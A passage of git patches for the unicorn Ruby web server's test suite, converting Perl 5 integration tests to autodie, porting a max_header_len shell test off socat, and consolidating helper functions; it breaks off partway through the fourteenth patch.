[-- Attachment #10: 0009-tests-use-autodie-to-simplify-error-checking.patch --]
[-- Type: text/x-diff, Size: 8495 bytes --]
From 3a1d015a3859b639d8e4463e9436a49f4f0f720e Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:38 +0000
Subject: [PATCH 09/23] tests: use autodie to simplify error checking
autodie is bundled with Perl 5.10+ and simplifies error
checking in most cases. Some subroutines aren't perfectly
translatable and their call sites had to be tweaked, but
most of them are.
---
t/active-unix-socket.t | 13 +++++++------
t/integration.t | 37 +++++++++++++++++++------------------
t/lib.perl | 30 +++++++++++++++---------------
3 files changed, 41 insertions(+), 39 deletions(-)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index 6b5c218..1241904 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -4,17 +4,18 @@
use v5.14; BEGIN { require './t/lib.perl' };
use IO::Socket::UNIX;
+use autodie;
+no autodie 'kill';
my %to_kill;
END { kill('TERM', values(%to_kill)) if keys %to_kill }
my $u1 = "$tmpdir/u1.sock";
my $u2 = "$tmpdir/u2.sock";
my $unix_req = sub {
my $s = IO::Socket::UNIX->new(Peer => shift, Type => SOCK_STREAM);
- print $s @_, "\r\n\r\n" or die $!;
+ print $s @_, "\r\n\r\n";
$s;
};
{
- use autodie;
open my $fh, '>', "$tmpdir/u1.conf.rb";
print $fh <<EOM;
pid "$tmpdir/u.pid"
@@ -43,8 +44,8 @@ EOM
my @uarg = qw(-D -E none t/integration.ru);
# this pipe will be used to notify us when all daemons die:
-pipe(my ($p0, $p1)) or die "pipe: $!";
-fcntl($p1, POSIX::F_SETFD, 0) or die "fcntl: $!"; # clear FD_CLOEXEC
+pipe(my $p0, my $p1);
+fcntl($p1, POSIX::F_SETFD, 0);
# start the first instance
unicorn('-c', "$tmpdir/u1.conf.rb", @uarg)->join;
@@ -93,8 +94,8 @@ is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
# restart the first instance
{
- pipe(($p0, $p1)) or die "pipe: $!";
- fcntl($p1, POSIX::F_SETFD, 0) or die "fcntl: $!"; # clear FD_CLOEXEC
+ pipe($p0, $p1);
+ fcntl($p1, POSIX::F_SETFD, 0);
unicorn('-c', "$tmpdir/u1.conf.rb", @uarg)->join;
is($?, 0, 'daemonized 1st process');
chomp($to_kill{u1} = slurp("$tmpdir/u.pid"));
diff --git a/t/integration.t b/t/integration.t
index 8cef561..af17d51 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -5,6 +5,7 @@
# restarting or signals
use v5.14; BEGIN { require './t/lib.perl' };
+use autodie;
my $srv = tcp_server();
my $host_port = tcp_host_port($srv);
my $t0 = time;
@@ -34,7 +35,7 @@ Trailer: Content-MD5\r
EOM
my ($buf, $r);
while (1) {
- $r = read($in, $buf, $bs) // die "read: $!";
+ $r = read($in, $buf, $bs);
last if $r == 0;
printf $out "%x\r\n", length($buf);
print $out $buf, "\r\n";
@@ -54,7 +55,7 @@ EOM
my ($buf, $r, $len);
while ($clen) {
$len = $clen > $bs ? $bs : $clen;
- $r = read($in, $buf, $len) // die "read: $!";
+ $r = read($in, $buf, $len);
die 'premature EOF' if $r == 0;
print $out $buf;
$clen -= $r;
@@ -130,28 +131,28 @@ if ('bad requests') {
like($status, qr!\AHTTP/1\.[01] 400 \b!, 'got 400 on bad request');
$c = tcp_connect($srv);
- print $c 'GET /' or die $!;
+ print $c 'GET /';
my $buf = join('', (0..9), 'ab');
- for (0..1023) { print $c $buf or die $! }
- print $c " HTTP/1.0\r\n\r\n" or die $!;
+ for (0..1023) { print $c $buf }
+ print $c " HTTP/1.0\r\n\r\n";
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 414 \b!,
'414 on REQUEST_PATH > (12 * 1024)');
$c = tcp_connect($srv);
- print $c 'GET /hello-world?a' or die $!;
+ print $c 'GET /hello-world?a';
$buf = join('', (0..9));
- for (0..1023) { print $c $buf or die $! }
- print $c " HTTP/1.0\r\n\r\n" or die $!;
+ for (0..1023) { print $c $buf }
+ print $c " HTTP/1.0\r\n\r\n";
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 414 \b!,
'414 on QUERY_STRING > (10 * 1024)');
$c = tcp_connect($srv);
- print $c 'GET /hello-world#a' or die $!;
+ print $c 'GET /hello-world#a';
$buf = join('', (0..9), 'a'..'f');
- for (0..63) { print $c $buf or die $! }
- print $c " HTTP/1.0\r\n\r\n" or die $!;
+ for (0..63) { print $c $buf }
+ print $c " HTTP/1.0\r\n\r\n";
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 414 \b!, '414 on FRAGMENT > (1024)');
}
@@ -159,7 +160,7 @@ if ('bad requests') {
# input tests
my ($blob_size, $blob_hash);
SKIP: {
- open(my $rh, '<', 't/random_blob') or
+ CORE::open(my $rh, '<', 't/random_blob') or
skip "t/random_blob not generated $!", 1;
$blob_size = -s $rh;
require Digest::SHA;
@@ -167,11 +168,11 @@ SKIP: {
my $ck_hash = sub {
my ($sub, $path, %opt) = @_;
- seek($rh, 0, SEEK_SET) // die "seek: $!";
+ seek($rh, 0, SEEK_SET);
$c = tcp_connect($srv);
$c->autoflush(0);
$PUT{$sub}->($rh, $c, $path, %opt);
- $c->flush or die "flush: $!";
+ $c->flush or die $!;
($status, $hdr) = slurp_hdr($c);
is(readline($c), $blob_hash, "$sub $path");
};
@@ -189,10 +190,10 @@ SKIP: {
my $url = "http://$host_port/rack_input";
my $do_curl = sub {
my (@arg) = @_;
- pipe(my $cout, $copt->{1}) or die "pipe: $!";
- open $copt->{2}, '>', "$tmpdir/curl.err" or die $!;
+ pipe(my $cout, $copt->{1});
+ open $copt->{2}, '>', "$tmpdir/curl.err";
my $cpid = spawn($curl, '-sSf', @arg, $url, $copt);
- close(delete $copt->{1}) or die "close: $!";
+ close(delete $copt->{1});
is(readline($cout), $blob_hash, "curl @arg response");
is(waitpid($cpid, 0), $cpid, "curl @arg exited");
is($?, 0, "no error from curl @arg");
@@ -201,7 +202,7 @@ SKIP: {
$do_curl->(qw(-T t/random_blob));
- seek($rh, 0, SEEK_SET) // die "seek: $!";
+ seek($rh, 0, SEEK_SET);
$copt->{0} = $rh;
$do_curl->('-T-');
}
diff --git a/t/lib.perl b/t/lib.perl
index ae9f197..49632cf 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -4,6 +4,7 @@
package UnicornTest;
use v5.14;
use parent qw(Exporter);
+use autodie;
use Test::More;
use IO::Socket::INET;
use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
@@ -14,7 +15,7 @@ our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
-open($errfh, '>>', "$tmpdir/err.log") or die "open: $!";
+open($errfh, '>>', "$tmpdir/err.log");
sub tcp_server {
my %opt = (
@@ -62,14 +63,14 @@ sub tcp_connect {
sub start_req {
my ($srv, @req) = @_;
my $c = tcp_connect($srv);
- print $c @req, "\r\n\r\n" or die "print: $!";
+ print $c @req, "\r\n\r\n";
$c;
}
sub slurp {
- open my $fh, '<', $_[0] or die "open($_[0]): $!";
+ open my $fh, '<', $_[0];
local $/;
- <$fh>;
+ readline($fh);
}
sub spawn {
@@ -80,8 +81,8 @@ sub spawn {
my $set = POSIX::SigSet->new;
$set->fillset or die "sigfillset: $!";
sigprocmask(SIG_SETMASK, $set, $old) or die "SIG_SETMASK: $!";
- pipe(my ($r, $w)) or die "pipe: $!";
- my $pid = fork // die "fork: $!";
+ pipe(my $r, my $w);
+ my $pid = fork;
if ($pid == 0) {
close $r;
$SIG{__DIE__} = sub {
@@ -94,9 +95,9 @@ sub spawn {
my $cfd;
for ($cfd = 0; ($cfd < 3) || defined($opt->{$cfd}); $cfd++) {
my $io = $opt->{$cfd} // next;
- my $pfd = fileno($io) // die "fileno($io): $!";
+ my $pfd = fileno($io);
if ($pfd == $cfd) {
- fcntl($io, F_SETFD, 0) // die "F_SETFD: $!";
+ fcntl($io, F_SETFD, 0);
} else {
dup2($pfd, $cfd) // die "dup2($pfd, $cfd): $!";
}
@@ -110,9 +111,7 @@ sub spawn {
setpgid(0, $pgid) // die "setpgid(0, $pgid): $!";
}
$SIG{$_} = 'DEFAULT' for grep(!/^__/, keys %SIG);
- if (defined(my $cd = $opt->{-C})) {
- chdir $cd // die "chdir($cd): $!";
- }
+ if (defined(my $cd = $opt->{-C})) { chdir $cd }
$old->delset(POSIX::SIGCHLD) or die "sigdelset CHLD: $!";
sigprocmask(SIG_SETMASK, $old) or die "SIG_SETMASK: ~CHLD: $!";
@ENV{keys %$env} = values(%$env) if $env;
@@ -162,22 +161,23 @@ sub unicorn {
# automatically kill + reap children when this goes out-of-scope
package UnicornTest::AutoReap;
use v5.14;
+use autodie;
sub new {
my (undef, $pid) = @_;
bless { pid => $pid, owner => $$ }, __PACKAGE__
}
-sub kill {
+sub do_kill {
my ($self, $sig) = @_;
- CORE::kill($sig // 'TERM', $self->{pid});
+ kill($sig // 'TERM', $self->{pid});
}
sub join {
my ($self, $sig) = @_;
my $pid = delete $self->{pid} or return;
- CORE::kill($sig, $pid) if defined $sig;
- my $ret = waitpid($pid, 0) // die "waitpid($pid): $!";
+ kill($sig, $pid) if defined $sig;
+ my $ret = waitpid($pid, 0);
$ret == $pid or die "BUG: waitpid($pid) != $ret";
}
[-- Attachment #11: 0010-port-t0019-max_header_len.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 5571 bytes --]
From 43c7d73b8b9e6995b5a986b10a8623395e89a538 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:39 +0000
Subject: [PATCH 10/23] port t0019-max_header_len.sh to Perl 5
This was the final socat requirement for integration tests.
I think curl will remain an optional dependency for tests
since it's probably the most widely-installed HTTP client.
---
GNUmakefile | 2 +-
t/README | 7 +-----
t/integration.ru | 1 +
t/integration.t | 43 +++++++++++++++++++++++++++++++---
| 49 ---------------------------------------
5 files changed, 43 insertions(+), 59 deletions(-)
delete mode 100755 t/t0019-max_header_len.sh
diff --git a/GNUmakefile b/GNUmakefile
index 5cca189..eab9082 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -125,7 +125,7 @@ $(T_sh): dep $(test_prereq) t/random_blob t/trash/.gitignore
t/trash/.gitignore : | t/trash
echo '*' >$@
-dependencies := socat curl
+dependencies := curl
deps := $(addprefix t/.dep+,$(dependencies))
$(deps): dep_bin = $(lastword $(subst +, ,$@))
$(deps):
diff --git a/t/README b/t/README
index 8a5243e..d09c715 100644
--- a/t/README
+++ b/t/README
@@ -10,18 +10,13 @@ to test real-world behavior and Ruby introduces incompatibilities
at a far faster rate than Perl 5. Perl is Ruby's older cousin, so
it should be easy-to-learn for Rubyists.
-Old tests are in Bourne shell, but the socat(1) dependency was probably
-too rare compared to Perl 5.
+Old tests are in Bourne shell and slowly being ported to Perl 5.
== Requirements
* {Ruby 2.0.0+}[https://www.ruby-lang.org/en/]
* {Perl 5.14+}[https://www.perl.org/] # your distro should have it
* {GNU make}[https://www.gnu.org/software/make/]
-
-The following requirements will eventually be dropped.
-
-* {socat}[http://www.dest-unreach.org/socat/]
* {curl}[https://curl.haxx.se/]
We do not use bashisms or any non-portable, non-POSIX constructs
diff --git a/t/integration.ru b/t/integration.ru
index 98528f6..edc408c 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -81,6 +81,7 @@ def rack_input_tests(env)
when '/env_dump'; [ 200, {}, [ env_dump(env) ] ]
when '/write_on_close'; write_on_close
when '/pid'; [ 200, {}, [ "#$$\n" ] ]
+ else '/'; [ 200, {}, [ env_dump(env) ] ]
end # case PATH_INFO (GET)
when 'POST'
case env['PATH_INFO']
diff --git a/t/integration.t b/t/integration.t
index af17d51..c687655 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -1,15 +1,19 @@
#!perl -w
# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
-# this is the main integration test for things which don't require
-# restarting or signals
+
+# This is the main integration test for fast-ish things to minimize
+# Ruby startup time penalties.
use v5.14; BEGIN { require './t/lib.perl' };
use autodie;
my $srv = tcp_server();
my $host_port = tcp_host_port($srv);
my $t0 = time;
-my $ar = unicorn(qw(-E none t/integration.ru), { 3 => $srv });
+my $conf = "$tmpdir/u.conf.rb";
+open my $conf_fh, '>', $conf;
+$conf_fh->autoflush(1);
+my $ar = unicorn(qw(-E none t/integration.ru -c), $conf, { 3 => $srv });
my $curl = which('curl');
END { diag slurp("$tmpdir/err.log") if $tmpdir };
sub slurp_hdr {
@@ -207,7 +211,40 @@ SKIP: {
$do_curl->('-T-');
}
+
# ... more stuff here
+
+# SIGHUP-able stuff goes here
+
+if ('max_header_len internal API') {
+ undef $c;
+ my $req = 'GET / HTTP/1.0';
+ my $len = length($req."\r\n\r\n");
+ my $fifo = "$tmpdir/fifo";
+ POSIX::mkfifo($fifo, 0600) or die "mkfifo: $!";
+ print $conf_fh <<EOM;
+Unicorn::HttpParser.max_header_len = $len
+listen "$host_port" # TODO: remove this requirement for SIGHUP
+after_fork { |_,_| File.open('$fifo', 'w') { |fp| fp.write "pid=#\$\$" } }
+EOM
+ $ar->do_kill('HUP');
+ open my $fifo_fh, '<', $fifo;
+ my $wpid = readline($fifo_fh);
+ like($wpid, qr/\Apid=\d+\z/a , 'new worker ready');
+ close $fifo_fh;
+ $wpid =~ s/\Apid=// or die;
+ ok(CORE::kill(0, $wpid), 'worker PID retrieved');
+
+ $c = start_req($srv, $req);
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 200\b!, 'minimal request succeeds');
+
+ $c = start_req($srv, 'GET /xxxxxx HTTP/1.0');
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 413\b!, 'big request fails');
+}
+
+
undef $ar;
my @log = slurp("$tmpdir/err.log");
diag("@log") if $ENV{V};
diff --git a/t/t0019-max_header_len.sh b/t/t0019-max_header_len.sh
deleted file mode 100755
index 6a355b4..0000000
--- a/t/t0019-max_header_len.sh
+++ /dev/null
@@ -1,49 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 5 "max_header_len setting (only intended for Rainbows!)"
-
-t_begin "setup and start" && {
- unicorn_setup
- req='GET / HTTP/1.0\r\n\r\n'
- len=$(printf "$req" | count_bytes)
- echo Unicorn::HttpParser.max_header_len = $len >> $unicorn_config
- unicorn -D -c $unicorn_config env.ru
- unicorn_wait_start
-}
-
-t_begin "minimal request succeeds" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf "$req"
- wait
- echo ok > $ok
- ) | socat - TCP:$listen > $fifo
- test xok = x$(cat $ok)
-
- fgrep "HTTP/1.1 200 OK" $tmp
-}
-
-t_begin "big request fails" && {
- rm -f $tmp
- (
- cat $fifo > $tmp &
- printf 'GET /xxxxxx HTTP/1.0\r\n\r\n'
- wait
- echo ok > $ok
- ) | socat - TCP:$listen > $fifo
- test xok = x$(cat $ok)
- fgrep "HTTP/1.1 413" $tmp
-}
-
-dbgcat tmp
-
-t_begin "killing succeeds" && {
- kill $unicorn_pid
-}
-
-t_begin "check stderr" && {
- check_stderr
-}
-
-t_done
[-- Attachment #12: 0011-test_exec-drop-sd_listen_fds-emulation-test.patch --]
[-- Type: text/x-diff, Size: 1751 bytes --]
From 5d828a4ef7683345bcf2ff659442fed0a6fb7a97 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:40 +0000
Subject: [PATCH 11/23] test_exec: drop sd_listen_fds emulation test
The Perl 5 tests already rely on this implicitly, and there was
never a point when Perl 5 couldn't emulate systemd behavior.
---
test/exec/test_exec.rb | 33 ---------------------------------
1 file changed, 33 deletions(-)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 2929b2e..1d3a0fd 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -97,39 +97,6 @@ def teardown
end
end
- def test_sd_listen_fds_emulation
- # [ruby-core:69895] [Bug #11336] fixed by r51576
- return if RUBY_VERSION.to_f < 2.3
-
- File.open("config.ru", "wb") { |fp| fp.write(HI) }
- sock = TCPServer.new(@addr, @port)
-
- [ %W(-l #@addr:#@port), nil ].each do |l|
- sock.setsockopt(:SOL_SOCKET, :SO_KEEPALIVE, 0)
-
- pid = xfork do
- redirect_test_io do
- # pretend to be systemd
- ENV['LISTEN_PID'] = "#$$"
- ENV['LISTEN_FDS'] = '1'
-
- # 3 = SD_LISTEN_FDS_START
- args = [ $unicorn_bin ]
- args.concat(l) if l
- args << { 3 => sock }
- exec(*args)
- end
- end
- res = hit(["http://#@addr:#@port/"])
- assert_equal [ "HI\n" ], res
- assert_shutdown(pid)
- assert sock.getsockopt(:SOL_SOCKET, :SO_KEEPALIVE).bool,
- 'unicorn should always set SO_KEEPALIVE on inherited sockets'
- end
- ensure
- sock.close if sock
- end
-
def test_inherit_listener_unspecified
File.open("config.ru", "wb") { |fp| fp.write(HI) }
sock = TCPServer.new(@addr, @port)
[-- Attachment #13: 0012-test_exec-drop-test_basic-and-test_config_ru_alt_pat.patch --]
[-- Type: text/x-diff, Size: 1667 bytes --]
From 548593c6b3d52a4bebd52542ad9c423ed2b7252d Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:41 +0000
Subject: [PATCH 12/23] test_exec: drop test_basic and test_config_ru_alt_path
We already have coverage for these basic things elsewhere.
---
test/exec/test_exec.rb | 24 ------------------------
1 file changed, 24 deletions(-)
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 1d3a0fd..55f828e 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -265,16 +265,6 @@ def test_exit_signals
end
end
- def test_basic
- File.open("config.ru", "wb") { |fp| fp.syswrite(HI) }
- pid = fork do
- redirect_test_io { exec($unicorn_bin, "-l", "#{@addr}:#{@port}") }
- end
- results = retry_hit(["http://#{@addr}:#{@port}/"])
- assert_equal String, results[0].class
- assert_shutdown(pid)
- end
-
def test_rack_env_unset
File.open("config.ru", "wb") { |fp| fp.syswrite(SHOW_RACK_ENV) }
pid = fork { redirect_test_io { exec($unicorn_bin, "-l#@addr:#@port") } }
@@ -638,20 +628,6 @@ def test_read_embedded_cli_switches
assert_shutdown(pid)
end
- def test_config_ru_alt_path
- config_path = "#{@tmpdir}/foo.ru"
- File.open(config_path, "wb") { |fp| fp.syswrite(HI) }
- pid = fork do
- redirect_test_io do
- Dir.chdir("/")
- exec($unicorn_bin, "-l#{@addr}:#{@port}", config_path)
- end
- end
- results = retry_hit(["http://#{@addr}:#{@port}/"])
- assert_equal String, results[0].class
- assert_shutdown(pid)
- end
-
def test_load_module
libdir = "#{@tmpdir}/lib"
FileUtils.mkpath([ libdir ])
[-- Attachment #14: 0013-tests-check_stderr-consistently-in-Perl-5-tests.patch --]
[-- Type: text/x-diff, Size: 2415 bytes --]
From cd7ee67fc8ebadec9bdd913d49ed3f214596ea47 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:42 +0000
Subject: [PATCH 13/23] tests: check_stderr consistently in Perl 5 tests
The Bourne shell tests did, so lets not let stuff sneak past us.
---
t/active-unix-socket.t | 5 ++---
t/integration.t | 7 ++-----
t/lib.perl | 10 +++++++++-
3 files changed, 13 insertions(+), 9 deletions(-)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index 1241904..c132dc2 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -20,7 +20,7 @@ my $unix_req = sub {
print $fh <<EOM;
pid "$tmpdir/u.pid"
listen "$u1"
-stderr_path "$tmpdir/err1.log"
+stderr_path "$tmpdir/err.log"
EOM
close $fh;
@@ -113,6 +113,5 @@ is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
ok(-S $u1, 'socket stays after SIGTERM');
}
-my @log = slurp("$tmpdir/err.log");
-diag("@log") if $ENV{V};
+check_stderr;
done_testing;
diff --git a/t/integration.t b/t/integration.t
index c687655..939dc24 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -246,11 +246,8 @@ EOM
undef $ar;
-my @log = slurp("$tmpdir/err.log");
-diag("@log") if $ENV{V};
-my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
-is_deeply(\@err, [], 'no unexpected errors in stderr');
-is_deeply([grep(/SIGKILL/, @log)], [], 'no SIGKILL in stderr');
+
+check_stderr;
undef $tmpdir;
done_testing;
diff --git a/t/lib.perl b/t/lib.perl
index 49632cf..315ef2d 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -11,12 +11,20 @@ use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh);
our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
- SEEK_SET tcp_host_port start_req which spawn);
+ SEEK_SET tcp_host_port start_req which spawn check_stderr);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
open($errfh, '>>', "$tmpdir/err.log");
+sub check_stderr () {
+ my @log = slurp("$tmpdir/err.log");
+ diag("@log") if $ENV{V};
+ my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
+ is_deeply(\@err, [], 'no unexpected errors in stderr');
+ is_deeply([grep(/SIGKILL/, @log)], [], 'no SIGKILL in stderr');
+}
+
sub tcp_server {
my %opt = (
ReuseAddr => 1,
[-- Attachment #15: 0014-tests-consistent-tcp_start-and-unix_start-across-Per.patch --]
[-- Type: text/x-diff, Size: 8017 bytes --]
From 0dcd8bd569813a175ad43837db3ab07019a95b99 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:43 +0000
Subject: [PATCH 14/23] tests: consistent tcp_start and unix_start across Perl
5 tests
I'll be using Unix sockets more in tests since there's no
risk of system-wide conflicts with TCP port allocation.
Furthermore, curl supports `--unix-socket' nowadays; so
there's little reason to rely on TCP sockets and the conflicts
they bring in tests.
---
t/active-unix-socket.t | 13 ++++---------
t/integration.t | 28 ++++++++++++++--------------
t/lib.perl | 30 ++++++++++++++++--------------
3 files changed, 34 insertions(+), 37 deletions(-)
diff --git a/t/active-unix-socket.t b/t/active-unix-socket.t
index c132dc2..8723137 100644
--- a/t/active-unix-socket.t
+++ b/t/active-unix-socket.t
@@ -10,11 +10,6 @@ my %to_kill;
END { kill('TERM', values(%to_kill)) if keys %to_kill }
my $u1 = "$tmpdir/u1.sock";
my $u2 = "$tmpdir/u2.sock";
-my $unix_req = sub {
- my $s = IO::Socket::UNIX->new(Peer => shift, Type => SOCK_STREAM);
- print $s @_, "\r\n\r\n";
- $s;
-};
{
open my $fh, '>', "$tmpdir/u1.conf.rb";
print $fh <<EOM;
@@ -53,7 +48,7 @@ is($?, 0, 'daemonized 1st process');
chomp($to_kill{u1} = slurp("$tmpdir/u.pid"));
like($to_kill{u1}, qr/\A\d+\z/s, 'read pid file');
-chomp(my $worker_pid = readline($unix_req->($u1, 'GET /pid')));
+chomp(my $worker_pid = readline(unix_start($u1, 'GET /pid')));
like($worker_pid, qr/\A\d+\z/s, 'captured worker pid');
ok(kill(0, $worker_pid), 'worker is kill-able');
@@ -65,7 +60,7 @@ isnt($?, 0, 'conflicting PID file fails to start');
chomp(my $pidf = slurp("$tmpdir/u.pid"));
is($pidf, $to_kill{u1}, 'pid file contents unchanged after start failure');
-chomp(my $pid2 = readline($unix_req->($u1, 'GET /pid')));
+chomp(my $pid2 = readline(unix_start($u1, 'GET /pid')));
is($worker_pid, $pid2, 'worker PID unchanged');
@@ -73,7 +68,7 @@ is($worker_pid, $pid2, 'worker PID unchanged');
unicorn('-c', "$tmpdir/u3.conf.rb", @uarg)->join;
isnt($?, 0, 'conflicting UNIX socket fails to start');
-chomp($pid2 = readline($unix_req->($u1, 'GET /pid')));
+chomp($pid2 = readline(unix_start($u1, 'GET /pid')));
is($worker_pid, $pid2, 'worker PID still unchanged');
chomp($pidf = slurp("$tmpdir/u.pid"));
@@ -101,7 +96,7 @@ is($pidf, $to_kill{u1}, 'pid file contents unchanged after 2nd start failure');
chomp($to_kill{u1} = slurp("$tmpdir/u.pid"));
like($to_kill{u1}, qr/\A\d+\z/s, 'read pid file');
- chomp($pid2 = readline($unix_req->($u1, 'GET /pid')));
+ chomp($pid2 = readline(unix_start($u1, 'GET /pid')));
like($pid2, qr/\A\d+\z/, 'worker running');
ok(kill('TERM', delete $to_kill{u1}), 'SIGTERM restarted daemon');
diff --git a/t/integration.t b/t/integration.t
index 939dc24..b33e3c3 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -70,7 +70,7 @@ EOM
my ($c, $status, $hdr);
# response header tests
-$c = start_req($srv, 'GET /rack-2-newline-headers HTTP/1.0');
+$c = tcp_start($srv, 'GET /rack-2-newline-headers HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
my $orig_200_status = $status;
@@ -89,7 +89,7 @@ SKIP: { # Date header check
};
-$c = start_req($srv, 'GET /rack-3-array-headers HTTP/1.0');
+$c = tcp_start($srv, 'GET /rack-3-array-headers HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
is_deeply([ grep(/^x-r3: /, @$hdr) ],
[ 'x-r3: a', 'x-r3: b', 'x-r3: c' ],
@@ -97,7 +97,7 @@ is_deeply([ grep(/^x-r3: /, @$hdr) ],
SKIP: {
eval { require JSON::PP } or skip "JSON::PP missing: $@", 1;
- my $c = start_req($srv, 'GET /env_dump');
+ my $c = tcp_start($srv, 'GET /env_dump');
my $json = do { local $/; readline($c) };
unlike($json, qr/^Connection: /smi, 'no connection header for 0.9');
unlike($json, qr!\AHTTP/!s, 'no HTTP/1.x prefix for 0.9');
@@ -107,17 +107,17 @@ SKIP: {
}
# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
-$c = start_req($srv, 'GET /nil-header-value HTTP/1.0');
+$c = tcp_start($srv, 'GET /nil-header-value HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
is_deeply([grep(/^X-Nil:/, @$hdr)], ['X-Nil: '],
'nil header value accepted for broken apps') or diag(explain($hdr));
if ('TODO: ensure Rack::Utils::HTTP_STATUS_CODES is available') {
- $c = start_req($srv, 'POST /tweak-status-code HTTP/1.0');
+ $c = tcp_start($srv, 'POST /tweak-status-code HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 200 HI\b!, 'status tweaked');
- $c = start_req($srv, 'POST /restore-status-code HTTP/1.0');
+ $c = tcp_start($srv, 'POST /restore-status-code HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
is($status, $orig_200_status, 'original status restored');
}
@@ -130,12 +130,12 @@ SKIP: {
}
if ('bad requests') {
- $c = start_req($srv, 'GET /env_dump HTTP/1/1');
+ $c = tcp_start($srv, 'GET /env_dump HTTP/1/1');
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 400 \b!, 'got 400 on bad request');
- $c = tcp_connect($srv);
- print $c 'GET /';
+ $c = tcp_start($srv);
+ print $c 'GET /';;
my $buf = join('', (0..9), 'ab');
for (0..1023) { print $c $buf }
print $c " HTTP/1.0\r\n\r\n";
@@ -143,7 +143,7 @@ if ('bad requests') {
like($status, qr!\AHTTP/1\.[01] 414 \b!,
'414 on REQUEST_PATH > (12 * 1024)');
- $c = tcp_connect($srv);
+ $c = tcp_start($srv);
print $c 'GET /hello-world?a';
$buf = join('', (0..9));
for (0..1023) { print $c $buf }
@@ -152,7 +152,7 @@ if ('bad requests') {
like($status, qr!\AHTTP/1\.[01] 414 \b!,
'414 on QUERY_STRING > (10 * 1024)');
- $c = tcp_connect($srv);
+ $c = tcp_start($srv);
print $c 'GET /hello-world#a';
$buf = join('', (0..9), 'a'..'f');
for (0..63) { print $c $buf }
@@ -173,7 +173,7 @@ SKIP: {
my $ck_hash = sub {
my ($sub, $path, %opt) = @_;
seek($rh, 0, SEEK_SET);
- $c = tcp_connect($srv);
+ $c = tcp_start($srv);
$c->autoflush(0);
$PUT{$sub}->($rh, $c, $path, %opt);
$c->flush or die $!;
@@ -235,11 +235,11 @@ EOM
$wpid =~ s/\Apid=// or die;
ok(CORE::kill(0, $wpid), 'worker PID retrieved');
- $c = start_req($srv, $req);
+ $c = tcp_start($srv, $req);
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 200\b!, 'minimal request succeeds');
- $c = start_req($srv, 'GET /xxxxxx HTTP/1.0');
+ $c = tcp_start($srv, 'GET /xxxxxx HTTP/1.0');
($status, $hdr) = slurp_hdr($c);
like($status, qr!\AHTTP/1\.[01] 413\b!, 'big request fails');
}
diff --git a/t/lib.perl b/t/lib.perl
index 315ef2d..1d6e78d 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -10,8 +10,8 @@ use IO::Socket::INET;
use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
